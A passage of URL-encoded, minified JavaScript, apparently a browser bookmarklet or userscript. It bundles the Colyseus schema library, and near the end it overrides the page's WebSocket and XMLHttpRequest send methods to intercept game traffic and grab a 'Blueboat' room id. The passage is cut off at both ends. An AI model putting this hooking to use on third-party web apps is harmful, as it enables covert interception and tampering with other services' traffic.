Bvalue%3Anew%20c(this%2Cvoid%200%2Cnew%20Ee)%2Cenumerable%3A!1%2Cwritable%3A!0%7D%2C%24callbacks%3A%7Bvalue%3Avoid%200%2Cenumerable%3A!1%2Cwritable%3A!0%7D%7D)%3Bvar%20n%3Dthis._definition.descriptors%3Bn%26%26Object.defineProperties(this%2Cn)%2Ce%5B0%5D%26%26this.assign(e%5B0%5D)%7Dreturn%20t.onError%3Dfunction(e)%7Bconsole.error(e)%7D%2Ct.is%3Dfunction(e)%7Breturn%20e._definition%26%26void%200!%3D%3De._definition.schema%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.assign%3Dfunction(e)%7Breturn%20Object.assign(this%2Ce)%2Cthis%7D%2CObject.defineProperty(t.prototype%2C%22_definition%22%2C%7Bget%3Afunction()%7Breturn%20this.constructor._definition%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setDirty%3Dfunction(e%2Ct)%7Bthis.%24changes.change(e%2Ct)%7D%2Ct.prototype.listen%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Dthis%3Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cthis.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Cthis.%24callbacks%5Be%5D%7C%7C(this.%24callbacks%5Be%5D%3D%5B%5D)%2Cthis.%24callbacks%5Be%5D.push(t)%2Cn%26%26void%200!%3D%3Dthis%5Be%5D%26%26t(this%5Be%5D%2Cvoid%200)%2Cfunction()%7Breturn%20f(r.%24callbacks%5Be%5D%2Cr.%24callbacks%5Be%5D.indexOf(t))%7D%7D%2Ct.prototype.decode%3Dfunction(n%2Cr%2Co)%7Bvoid%200%3D%3D%3Dr%26%26(r%3D%7Boffset%3A0%7D)%2Cvoid%200%3D%3D%3Do%26%26(o%3Dthis)%3Bvar%20i%3D%5B%5D%2Ca%3Dthis.%24changes.root%2Cc%3Dn.length%2Cl%3D0%3Bfor(a.refs.set(l%2Cthis)%3Br.offset%3Cc%3B)%7Bvar%20u%3Dn%5Br.offset%2B%2B%5D%3Bif(u!%3Ds)%7Bvar%20f%3Do.%24changes%2Cd%3Dvoid%200!%3D%3Do._definition%2Ch%3Dd%3Fu%3E%3E6%3C%3C6%3Au%3Bif(h!%3D%3De.OPERATION.CLEAR)%7Bvar%20g%3Dd%3Fu%25(h%7C%7C255)%3Age(n%2Cr)%2C%24%3Dd%3Fo._definition.fieldsByIndex%5Bg%5D%3A%22%22%2Cy%3Df.getType(g)%2Cb%3Dvoid%200%2Cw%3Dvoid%200%2Cx%3Dvoid%200%3Bif(d%3Fw%3Do%5B%22_%22.concat(%24)%5D%3A(w%3Do.getByIndex(g)%2C(h%26e.OPERATION.ADD)%3D%3D%3De.OPERATION.ADD%3F(x%3Do%20instanceof%20m%3Fhe(n%2Cr)%3Ag%2Co.setIndex(g%2Cx))%3Ax%3Do.getIndex(g))%2C(h%26e.OPERATION.DELETE)%3D%3D%3De.OPERATION.DELETE%26%26(h!%3D%3De.OPERATION.DELETE_AND_ADD%26%26o.deleteByIndex(g)%2Cw%26%26w.%24changes%26%26a.removeRef(w.%24changes.refId)%2Cb%3Dnull)%2Cvoid%200!%3D%3D%24)%7Bif(h%3D%3D%3De.OPERATION.DELETE)%3Belse%20if(t.is(y))%7Bvar%20E%3Dge(n%2Cr)%3Bif(b%3Da.refs.get(E)%2Ch!%3D%3De.OPERATION.REPLACE)%7Bvar%20_%3Dthis.getSchemaType(n%2Cr%2Cy)%3Bb%7C%7C((b%3Dthis.createTypeInstance(_)).%24changes.refId%3DE%2Cw%26%26(b.%24callbacks%3Dw.%24callbacks%2Cw.%24changes.refId%26%26E!%3D%3Dw.%24changes.refId%26%26a.removeRef(w.%24changes.refId)))%2Ca.addRef(E%2Cb%2Cb!%3D%3Dw)%7D%7Delse%20if(%22string%22%3D%3Dtypeof%20y)b%3Dke(y%2Cn%2Cr)%3Belse%7Bvar%20A%3Dv(Object.keys(y)%5B0%5D)%2CO%3Dge(n%2Cr)%2CI%3Da.refs.has(O)%3Fw%7C%7Ca.refs.get(O)%3Anew%20A.constructor%3Bif((b%3DI.clone(!0)).%24changes.refId%3DO%2Cw%26%26(b.%24callbacks%3Dw.%24callbacks%2Cw.%24changes.refId%26%26O!%3D%3Dw.%24changes.refId))%7Ba.removeRef(w.%24changes.refId)%3Bfor(var%20k%3Dw.entries()%2CT%3Dvoid%200%3B(T%3Dk.next())%26%26!T.done%3B)%7Bvar%20C%3DT.value%2CR%3DC%5B0%5D%2CS%3DC%5B1%5D%3Bi.push(%7BrefId%3AO%2Cop%3Ae.OPERATION.DELETE%2Cfield%3AR%2Cvalue%3Avoid%200%2CpreviousValue%3AS%7D)%7D%7Da.addRef(O%2Cb%2CI!%3D%3Dw)%7Dif(null!%3Db)if(b.%24changes%26%26b.%24changes.setParent(f.ref%2Cf.root%2Cg)%2Co%20instanceof%20t)o%5B%24%5D%3Db%3Belse%20if(o%20instanceof%20m)R%3Dx%2Co.%24items.set(R%2Cb)%2Co.%24changes.allChanges.add(g)%3Belse%20if(o%20instanceof%20p)o.setAt(g%2Cb)%3Belse%20if(o%20instanceof%20be)%7Bvar%20P%3Do.add(b)%3Bo.setIndex(g%2CP)%7Delse%20o%20instanceof%20we%26%26!1!%3D%3D(P%3Do.add(b))%26%26o.setIndex(g%2CP)%3Bw!%3D%3Db%26%26i.push(%7BrefId%3Al%2Cop%3Ah%2Cfield%3A%24%2CdynamicIndex%3Ax%2Cvalue%3Ab%2CpreviousValue%3Aw%7D)%7Delse%7Bconsole.warn(%22%40colyseus%2Fschema%3A%20definition%20mismatch%22)%3Bfor(var%20M%3D%7Boffset%3Ar.offset%7D%3Br.offset%3Cc%26%26(!ye(n%2Cr)%7C%7C(M.offset%3Dr.offset%2B1%2C!a.refs.has(ge(n%2CM))))%3B)r.offset%2B%2B%7D%7Delse%20o.clear(i)%7Delse%7Bl%3Dge(n%2Cr)%3Bvar%20N%3Da.refs.get(l)%3Bif(!N)throw%20new%20Error('%22refId%22%20not%20found%3A%20'.concat(l))%3Bo%3DN%7D%7Dreturn%20this._triggerChanges(i)%2Ca.garbageCollectDeletedRefs()%2Ci%7D%2Ct.prototype.encode%3Dfunction(n%2Cr%2Co)%7Bvoid%200%3D%3D%3Dn%26%26(n%3D!1)%2Cvoid%200%3D%3D%3Dr%26%26(r%3D%5B%5D)%2Cvoid%200%3D%3D%3Do%26%26(o%3D!1)%3Bfor(var%20i%3Dthis.%24changes%2Ca%3Dnew%20WeakSet%2Cc%3D%5Bi%5D%2Cl%3D1%2Cu%3D0%3Bu%3Cl%3Bu%2B%2B)%7Bvar%20f%3Dc%5Bu%5D%2Cd%3Df.ref%2Ch%3Dd%20instanceof%20t%3Bf.ensureRefId()%2Ca.add(f)%2Cf!%3D%3Di%26%26(f.changed%7C%7Cn)%26%26(S(r%2Cs)%2CG(r%2Cf.refId))%3Bfor(var%20p%3Dn%3FArray.from(f.allChanges)%3AArray.from(f.changes.values())%2Cg%3D0%2C%24%3Dp.length%3Bg%3C%24%3Bg%2B%2B)%7Bvar%20y%3Dn%3F%7Bop%3Ae.OPERATION.ADD%2Cindex%3Ap%5Bg%5D%7D%3Ap%5Bg%5D%2Cb%3Dy.index%2Cw%3Dh%3Fd._definition.fieldsByIndex%26%26d._definition.fieldsByIndex%5Bb%5D%3Ab%2Cx%3Dr.length%3Bif(y.op!%3D%3De.OPERATION.TOUCH)if(h)S(r%2Cb%7Cy.op)%3Belse%7Bif(S(r%2Cy.op)%2Cy.op%3D%3D%3De.OPERATION.CLEAR)continue%3BG(r%2Cb)%7Dif(h%7C%7C(y.op%26e.OPERATION.ADD)!%3De.OPERATION.ADD%7C%7Cd%20instanceof%20m%26%26J(r%2Cf.ref.%24indexes.get(b))%2Cy.op!%3D%3De.OPERATION.DELETE)%7Bvar%20E%3Df.getType(b)%2C_%3Df.getValue(b)%3Bif(_%26%26_.%24changes%26%26!a.has(_.%24changes)%26%26(c.push(_.%24changes)%2C_.%24changes.ensureRefId()%2Cl%2B%2B)%2Cy.op!%3D%3De.OPERATION.TOUCH)%7Bif(t.is(E))Oe(_%2CE%2Cd%2Cw)%2CG(r%2C_.%24changes.refId)%2C(y.op%26e.OPERATION.ADD)%3D%3D%3De.OPERATION.ADD%26%26this.tryEncodeTypeId(r%2CE%2C_.constructor)%3Belse%20if(%22string%22%3D%3Dtypeof%20E)Ie(E%2Cr%2C_%2Cd%2Cw)%3Belse%7Bvar%20A%3Dv(Object.keys(E)%5B0%5D)%3BOe(d%5B%22_%22.concat(w)%5D%2CA.constructor%2Cd%2Cw)%2CG(r%2C_.%24changes.refId)%7Do%26%26f.cache(b%2Cr.slice(x))%7D%7D%7Dn%7C%7Co%7C%7Cf.discard()%7Dreturn%20r%7D%2Ct.prototype.encodeAll%3Dfunction(e)%7Breturn%20this.encode(!0%2C%5B%5D%2Ce)%7D%2Ct.prototype.applyFilters%3Dfunction(n%2Cr)%7Bvar%20o%2Ci%3Bvoid%200%3D%3D%3Dr%26%26(r%3D!1)%3Bfor(var%20a%3Dthis%2Cc%3Dnew%20Set%2Cl%3Dxe.get(n)%2Cu%3D%5Bthis.%24changes%5D%2Cf%3D1%2Cd%3D%5B%5D%2Ch%3Dfunction(h)%7Bvar%20p%3Du%5Bh%5D%3Bif(c.has(p.refId))return%22continue%22%3Bvar%20g%3Dp.ref%2C%24%3Dg%20instanceof%20t%3BS(d%2Cs)%2CG(d%2Cp.refId)%3Bvar%20y%3Dl.refIds.has(p)%2Cv%3Dr%7C%7C!y%3Bl.addRefId(p)%3Bvar%20b%3Dl.containerIndexes.get(p)%2Cw%3Dv%3FArray.from(p.allChanges)%3AArray.from(p.changes.values())%3B!r%26%26%24%26%26g._definition.indexesWithFilters%26%26g._definition.indexesWithFilters.forEach((function(t)%7B!b.has(t)%26%26p.allChanges.has(t)%26%26(v%3Fw.push(t)%3Aw.push(%7Bop%3Ae.OPERATION.ADD%2Cindex%3At%7D))%7D))%3Bfor(var%20x%3D0%2CE%3Dw.length%3Bx%3CE%3Bx%2B%2B)%7Bvar%20_%3Dv%3F%7Bop%3Ae.OPERATION.ADD%2Cindex%3Aw%5Bx%5D%7D%3Aw%5Bx%5D%3Bif(_.op!%3D%3De.OPERATION.CLEAR)%7Bvar%20A%3D_.index%3Bif(_.op!%3D%3De.OPERATION.DELETE)%7Bvar%20O%3Dp.getValue(A)%2CI%3Dp.getType(A)%3Bif(%24)%7Bif((k%3Dg._definition.filters%26%26g._definition.filters%5BA%5D)%26%26!k.call(g%2Cn%2CO%2Ca))%7BO%26%26O.%24changes%26%26c.add(O.%24changes.refId)%3Bcontinue%7D%7Delse%7Bvar%20k%2CT%3Dp.parent%3Bif((k%3Dp.getChildrenFilter())%26%26!k.call(T%2Cn%2Cg.%24indexes.get(A)%2CO%2Ca))%7BO%26%26O.%24changes%26%26c.add(O.%24changes.refId)%3Bcontinue%7D%7Dif(O.%24changes%26%26(u.push(O.%24changes)%2Cf%2B%2B)%2C_.op!%3D%3De.OPERATION.TOUCH)if(_.op%3D%3D%3De.OPERATION.ADD%7C%7C%24)d.push.apply(d%2Cnull!%3D%3D(o%3Dp.caches%5BA%5D)%26%26void%200!%3D%3Do%3Fo%3A%5B%5D)%2Cb.add(A)%3Belse%20if(b.has(A))d.push.apply(d%2Cnull!%3D%3D(i%3Dp.caches%5BA%5D)%26%26void%200!%3D%3Di%3Fi%3A%5B%5D)%3Belse%7Bif(b.add(A)%2CS(d%2Ce.OPERATION.ADD)%2CG(d%2CA)%2Cg%20instanceof%20m)%7Bvar%20C%3Dp.ref.%24indexes.get(A)%3BJ(d%2CC)%7DO.%24changes%3FG(d%2CO.%24changes.refId)%3AK%5BI%5D(d%2CO)%7Delse%20O.%24changes%26%26!%24%26%26(S(d%2Ce.OPERATION.ADD)%2CG(d%2CA)%2Cg%20instanceof%20m%26%26(C%3Dp.ref.%24indexes.get(A)%2CJ(d%2CC))%2CG(d%2CO.%24changes.refId))%7Delse%20%24%3FS(d%2C_.op%7CA)%3A(S(d%2C_.op)%2CG(d%2CA))%7Delse%20S(d%2C_.op)%7D%7D%2Cp%3D0%3Bp%3Cf%3Bp%2B%2B)h(p)%3Breturn%20d%7D%2Ct.prototype.clone%3Dfunction()%7Bvar%20e%2Ct%3Dnew%20this.constructor%2Cn%3Dthis._definition.schema%3Bfor(var%20r%20in%20n)%22object%22%3D%3Dtypeof%20this%5Br%5D%26%26%22function%22%3D%3Dtypeof(null%3D%3D%3D(e%3Dthis%5Br%5D)%7C%7Cvoid%200%3D%3D%3De%3Fvoid%200%3Ae.clone)%3Ft%5Br%5D%3Dthis%5Br%5D.clone()%3At%5Br%5D%3Dthis%5Br%5D%3Breturn%20t%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3Dthis._definition.schema%2Ct%3Dthis._definition.deprecated%2Cn%3D%7B%7D%3Bfor(var%20r%20in%20e)t%5Br%5D%7C%7Cnull%3D%3D%3Dthis%5Br%5D%7C%7Cvoid%200%3D%3D%3Dthis%5Br%5D%7C%7C(n%5Br%5D%3D%22function%22%3D%3Dtypeof%20this%5Br%5D.toJSON%3Fthis%5Br%5D.toJSON()%3Athis%5B%22_%22.concat(r)%5D)%3Breturn%20n%7D%2Ct.prototype.discardAllChanges%3Dfunction()%7Bthis.%24changes.discardAll()%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this%5Bthis._definition.fieldsByIndex%5Be%5D%5D%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bthis%5Bthis._definition.fieldsByIndex%5Be%5D%5D%3Dvoid%200%7D%2Ct.prototype.tryEncodeTypeId%3Dfunction(e%2Ct%2Cn)%7Bt._typeid!%3D%3Dn._typeid%26%26(S(e%2Ca)%2CG(e%2Cn._typeid))%7D%2Ct.prototype.getSchemaType%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Breturn%20e%5Bt.offset%5D%3D%3D%3Da%26%26(t.offset%2B%2B%2Cr%3Dthis.constructor._context.get(ge(e%2Ct)))%2Cr%7C%7Cn%7D%2Ct.prototype.createTypeInstance%3Dfunction(e)%7Bvar%20t%3Dnew%20e%3Breturn%20t.%24changes.root%3Dthis.%24changes.root%2Ct%7D%2Ct.prototype._triggerChanges%3Dfunction(n)%7Bfor(var%20r%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Dnew%20Set%2Ch%3Dthis.%24changes.root.refs%2Cp%3Dfunction(p)%7Bvar%20g%3Dn%5Bp%5D%2Cm%3Dg.refId%2C%24%3Dh.get(m)%2Cy%3D%24.%24callbacks%3Bif((g.op%26e.OPERATION.DELETE)%3D%3D%3De.OPERATION.DELETE%26%26g.previousValue%20instanceof%20t%26%26(null%3D%3D%3D(o%3Dnull%3D%3D%3D(r%3Dg.previousValue.%24callbacks)%7C%7Cvoid%200%3D%3D%3Dr%3Fvoid%200%3Ar%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Do%7C%7Co.forEach((function(e)%7Breturn%20e()%7D)))%2C!y)return%22continue%22%3Bif(%24%20instanceof%20t)%7Bif(!d.has(m))try%7Bnull%3D%3D%3D(i%3Dnull%3D%3Dy%3Fvoid%200%3Ay%5Be.OPERATION.REPLACE%5D)%7C%7Cvoid%200%3D%3D%3Di%7C%7Ci.forEach((function(e)%7Breturn%20e()%7D))%7Dcatch(e)%7Bt.onError(e)%7Dtry%7By.hasOwnProperty(g.field)%26%26(null%3D%3D%3D(s%3Dy%5Bg.field%5D)%7C%7Cvoid%200%3D%3D%3Ds%7C%7Cs.forEach((function(e)%7Breturn%20e(g.value%2Cg.previousValue)%7D)))%7Dcatch(e)%7Bt.onError(e)%7D%7Delse%20g.op%3D%3D%3De.OPERATION.ADD%26%26void%200%3D%3D%3Dg.previousValue%3Fnull%3D%3D%3D(a%3Dy%5Be.OPERATION.ADD%5D)%7C%7Cvoid%200%3D%3D%3Da%7C%7Ca.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D))%3Ag.op%3D%3D%3De.OPERATION.DELETE%3Fvoid%200!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(c%3Dy%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Dc%7C%7Cc.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.previousValue%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%3Ag.op%3D%3D%3De.OPERATION.DELETE_AND_ADD%26%26(void%200!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(l%3Dy%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Dl%7C%7Cl.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.previousValue%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%2Cnull%3D%3D%3D(u%3Dy%5Be.OPERATION.ADD%5D)%7C%7Cvoid%200%3D%3D%3Du%7C%7Cu.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%2Cg.value!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(f%3Dy%5Be.OPERATION.REPLACE%5D)%7C%7Cvoid%200%3D%3D%3Df%7C%7Cf.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%3Bd.add(m)%7D%2Cg%3D0%3Bg%3Cn.length%3Bg%2B%2B)p(g)%7D%2Ct._definition%3Db.create()%2Ct%7D()%3Bfunction%20Ce(e)%7Bfor(var%20t%3D%5Be.%24changes%5D%2Cn%3D1%2Cr%3D%7B%7D%2Co%3Dr%2Ci%3Dfunction(e)%7Bvar%20n%3Dt%5Be%5D%3Bn.changes.forEach((function(e)%7Bvar%20t%3Dn.ref%2Cr%3De.index%2Ci%3Dt._definition%3Ft._definition.fieldsByIndex%5Br%5D%3At.%24indexes.get(r)%3Bo%5Bi%5D%3Dn.getValue(r)%7D))%7D%2Cs%3D0%3Bs%3Cn%3Bs%2B%2B)i(s)%3Breturn%20r%7Dvar%20Re%3D%7Bcontext%3Anew%20x%7D%2CSe%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Cr(%5B_(%22string%22%2CRe)%5D%2Ct.prototype%2C%22name%22%2Cvoid%200)%2Cr(%5B_(%22string%22%2CRe)%5D%2Ct.prototype%2C%22type%22%2Cvoid%200)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22referencedType%22%2Cvoid%200)%2Ct%7D(Te)%2CPe%3Dfunction(e)%7Bfunction%20t()%7Bvar%20t%3Dnull!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%3Breturn%20t.fields%3Dnew%20p%2Ct%7Dreturn%20n(t%2Ce)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22id%22%2Cvoid%200)%2Cr(%5B_(%5BSe%5D%2CRe)%5D%2Ct.prototype%2C%22fields%22%2Cvoid%200)%2Ct%7D(Te)%2CMe%3Dfunction(e)%7Bfunction%20t()%7Bvar%20t%3Dnull!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%3Breturn%20t.types%3Dnew%20p%2Ct%7Dreturn%20n(t%2Ce)%2Ct.encode%3Dfunction(e)%7Bvar%20n%2Cr%3De.constructor%2Co%3Dnew%20t%3Bo.rootType%3Dr._typeid%3Bvar%20i%3Dfunction(e%2Ct)%7Bfor(var%20n%20in%20t)%7Bvar%20r%3Dnew%20Se%3Br.name%3Dn%3Bvar%20i%3Dvoid%200%3Bif(%22string%22%3D%3Dtypeof%20t%5Bn%5D)i%3Dt%5Bn%5D%3Belse%7Bvar%20s%3Dt%5Bn%5D%2Ca%3Dvoid%200%3BTe.is(s)%3F(i%3D%22ref%22%2Ca%3Dt%5Bn%5D)%3A%22string%22%3D%3Dtypeof%20s%5Bi%3DObject.keys(s)%5B0%5D%5D%3Fi%2B%3D%22%3A%22%2Bs%5Bi%5D%3Aa%3Ds%5Bi%5D%2Cr.referencedType%3Da%3Fa._typeid%3A-1%7Dr.type%3Di%2Ce.fields.push(r)%7Do.types.push(e)%7D%2Cs%3Dnull%3D%3D%3D(n%3Dr._context)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.types%3Bfor(var%20a%20in%20s)%7Bvar%20c%3Dnew%20Pe%3Bc.id%3DNumber(a)%2Ci(c%2Cs%5Ba%5D._definition.schema)%7Dreturn%20o.encodeAll()%7D%2Ct.decode%3Dfunction(e%2Cr)%7Bvar%20o%3Dnew%20x%2Ci%3Dnew%20t%3Bi.decode(e%2Cr)%3Bvar%20s%3Di.types.reduce((function(e%2Ct)%7Bvar%20r%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Ct%7D(Te)%2Ci%3Dt.id%3Breturn%20e%5Bi%5D%3Dr%2Co.add(r%2Ci)%2Ce%7D)%2C%7B%7D)%3Bi.types.forEach((function(e)%7Bvar%20t%3Ds%5Be.id%5D%3Be.fields.forEach((function(e)%7Bvar%20n%3Bif(void%200!%3D%3De.referencedType)%7Bvar%20r%3De.type%2Ci%3Ds%5Be.referencedType%5D%3Bif(!i)%7Bvar%20a%3De.type.split(%22%3A%22)%3Br%3Da%5B0%5D%2Ci%3Da%5B1%5D%7D%22ref%22%3D%3D%3Dr%3F_(i%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%3A_(((n%3D%7B%7D)%5Br%5D%3Di%2Cn)%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%7Delse%20_(e.type%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%7D))%7D))%3Bvar%20a%3Ds%5Bi.rootType%5D%2Cc%3Dnew%20a%3Bfor(var%20l%20in%20a._definition.schema)%7Bvar%20u%3Da._definition.schema%5Bl%5D%3B%22string%22!%3Dtypeof%20u%26%26(c%5Bl%5D%3D%22function%22%3D%3Dtypeof%20u%3Fnew%20u%3Anew(v(Object.keys(u)%5B0%5D).constructor))%7Dreturn%20c%7D%2Cr(%5B_(%5BPe%5D%2CRe)%5D%2Ct.prototype%2C%22types%22%2Cvoid%200)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22rootType%22%2Cvoid%200)%2Ct%7D(Te)%3By(%22map%22%2C%7Bconstructor%3Am%7D)%2Cy(%22array%22%2C%7Bconstructor%3Ap%7D)%2Cy(%22set%22%2C%7Bconstructor%3Awe%7D)%2Cy(%22collection%22%2C%7Bconstructor%3Abe%7D)%2Ce.ArraySchema%3Dp%2Ce.CollectionSchema%3Dbe%2Ce.Context%3Dx%2Ce.MapSchema%3Dm%2Ce.Reflection%3DMe%2Ce.ReflectionField%3DSe%2Ce.ReflectionType%3DPe%2Ce.Schema%3DTe%2Ce.SchemaDefinition%3Db%2Ce.SetSchema%3Dwe%2Ce.decode%3Dve%2Ce.defineTypes%3Dk%2Ce.deprecated%3DI%2Ce.dumpChanges%3DCe%2Ce.encode%3DK%2Ce.filter%3DA%2Ce.filterChildren%3DO%2Ce.hasFilter%3Dw%2Ce.registerType%3Dy%2Ce.type%3D_%2CObject.defineProperty(e%2C%22__esModule%22%2C%7Bvalue%3A!0%7D)%7D(t)%7D(0%2Ctt.exports)%3Bvar%20nt%3Dtt.exports%2Crt%3D%7B%7D%3B!function(e)%7Bvar%20t%3BObject.defineProperty(e%2C%22__esModule%22%2C%7Bvalue%3A!0%7D)%2Ce.utf8Length%3De.utf8Read%3De.ErrorCode%3De.Protocol%3Dvoid%200%2Cfunction(e)%7Be%5Be.HANDSHAKE%3D9%5D%3D%22HANDSHAKE%22%2Ce%5Be.JOIN_ROOM%3D10%5D%3D%22JOIN_ROOM%22%2Ce%5Be.ERROR%3D11%5D%3D%22ERROR%22%2Ce%5Be.LEAVE_ROOM%3D12%5D%3D%22LEAVE_ROOM%22%2Ce%5Be.ROOM_DATA%3D13%5D%3D%22ROOM_DATA%22%2Ce%5Be.ROOM_STATE%3D14%5D%3D%22ROOM_STATE%22%2Ce%5Be.ROOM_STATE_PATCH%3D15%5D%3D%22ROOM_STATE_PATCH%22%2Ce%5Be.ROOM_DATA_SCHEMA%3D16%5D%3D%22ROOM_DATA_SCHEMA%22%2Ce%5Be.ROOM_DATA_BYTES%3D17%5D%3D%22ROOM_DATA_BYTES%22%7D(e.Protocol%7C%7C(e.Protocol%3D%7B%7D))%2C(t%3De.ErrorCode%7C%7C(e.ErrorCode%3D%7B%7D))%5Bt.MATCHMAKE_NO_HANDLER%3D4210%5D%3D%22MATCHMAKE_NO_HANDLER%22%2Ct%5Bt.MATCHMAKE_INVALID_CRITERIA%3D4211%5D%3D%22MATCHMAKE_INVALID_CRITERIA%22%2Ct%5Bt.MATCHMAKE_INVALID_ROOM_ID%3D4212%5D%3D%22MATCHMAKE_INVALID_ROOM_ID%22%2Ct%5Bt.MATCHMAKE_UNHANDLED%3D4213%5D%3D%22MATCHMAKE_UNHANDLED%22%2Ct%5Bt.MATCHMAKE_EXPIRED%3D4214%5D%3D%22MATCHMAKE_EXPIRED%22%2Ct%5Bt.AUTH_FAILED%3D4215%5D%3D%22AUTH_FAILED%22%2Ct%5Bt.APPLICATION_ERROR%3D4216%5D%3D%22APPLICATION_ERROR%22%2Ce.utf8Read%3Dfunction(e%2Ct)%7Bconst%20n%3De%5Bt%2B%2B%5D%3Bfor(var%20r%3D%22%22%2Co%3D0%2Ci%3Dt%2Cs%3Dt%2Bn%3Bi%3Cs%3Bi%2B%2B)%7Bvar%20a%3De%5Bi%5D%3Bif(0!%3D(128%26a))if(192!%3D(224%26a))if(224!%3D(240%26a))%7Bif(240!%3D(248%26a))throw%20new%20Error(%22Invalid%20byte%20%22%2Ba.toString(16))%3B(o%3D(7%26a)%3C%3C18%7C(63%26e%5B%2B%2Bi%5D)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3E%3D65536%3F(o-%3D65536%2Cr%2B%3DString.fromCharCode(55296%2B(o%3E%3E%3E10)%2C56320%2B(1023%26o)))%3Ar%2B%3DString.fromCharCode(o)%7Delse%20r%2B%3DString.fromCharCode((15%26a)%3C%3C12%7C(63%26e%5B%2B%2Bi%5D)%3C%3C6%7C(63%26e%5B%2B%2Bi%5D)%3C%3C0)%3Belse%20r%2B%3DString.fromCharCode((31%26a)%3C%3C6%7C63%26e%5B%2B%2Bi%5D)%3Belse%20r%2B%3DString.fromCharCode(a)%7Dreturn%20r%7D%2Ce.utf8Length%3Dfunction(e%3D%22%22)%7Blet%20t%3D0%2Cn%3D0%3Bfor(let%20r%3D0%2Co%3De.length%3Br%3Co%3Br%2B%2B)t%3De.charCodeAt(r)%2Ct%3C128%3Fn%2B%3D1%3At%3C2048%3Fn%2B%3D2%3At%3C55296%7C%7Ct%3E%3D57344%3Fn%2B%3D3%3A(r%2B%2B%2Cn%2B%3D4)%3Breturn%20n%2B1%7D%7D(rt)%3Bclass%20ot%20extends%20EventTarget%7Bstate%3BsetState(e)%7Bthis.state.decode(e)%2Cthis.dispatchEvent(new%20CustomEvent(%22patch%22%2C%7Bdetail%3Anull%7D))%2Cthis.dispatchEvent(new%20Event(%22load%22))%7DgetState()%7Breturn%20this.state%7Dpatch(e)%7Blet%20t%3Dthis.state.decode(e)%3Bfor(let%20e%20of%20t)if(%22gameTime%22!%3De.field)%7Bthis.dispatchEvent(new%20CustomEvent(%22patch%22%2C%7Bdetail%3At%7D))%3Bbreak%7D%7Dteardown()%7Bthis.state%3F.%24changes%3F.root.clearRefs()%7Dhandshake(e%2Ct)%7Bif(this.state)%7B(new%20nt.Reflection).decode(e%2Ct)%7Delse%20this.state%3Dnt.Reflection.decode(e%2Ct)%3Bthis.dispatchEvent(new%20CustomEvent(%22patch%22%2C%7Bdetail%3Anull%7D))%7D%7Dconst%20it%3Dnew%20ot%3Bclass%20st%20extends%20EventTarget%7Bsocket%3Dnull%3BtransportType%3DAe(%22unknown%22)%3BblueboatRoomId%3Dnull%3Bsetup()%7Blet%20e%3Dthis%3Bclass%20t%20extends%20WebSocket%7Bconstructor(t%2Cn)%7Bsuper(t%2Cn)%2Ce.socket%7C%7Ce.registerSocket(this)%7Dsend(t)%7Be.onSend(t)%2Csuper.send(t)%7D%7Dlet%20n%3DXMLHttpRequest.prototype.send%3BXMLHttpRequest.prototype.send%3Dfunction()%7Bthis.addEventListener(%22load%22%2C(()%3D%3E%7Bif(!this.responseURL.endsWith(%22%2Fmatchmaker%2Fjoin%22))return%3Blet%20t%3DJSON.parse(this.responseText)%3Be.blueboatRoomId%3Dt.roomId%2Cconsole.log(%22Got%20Blueboat%20Room%20Id%3A%20%22%2Be.blueboatRoomId)%7D))%2Cn.apply(this%2Carguments)%7D%2CHe().WebSocket%3Dt%7Dregis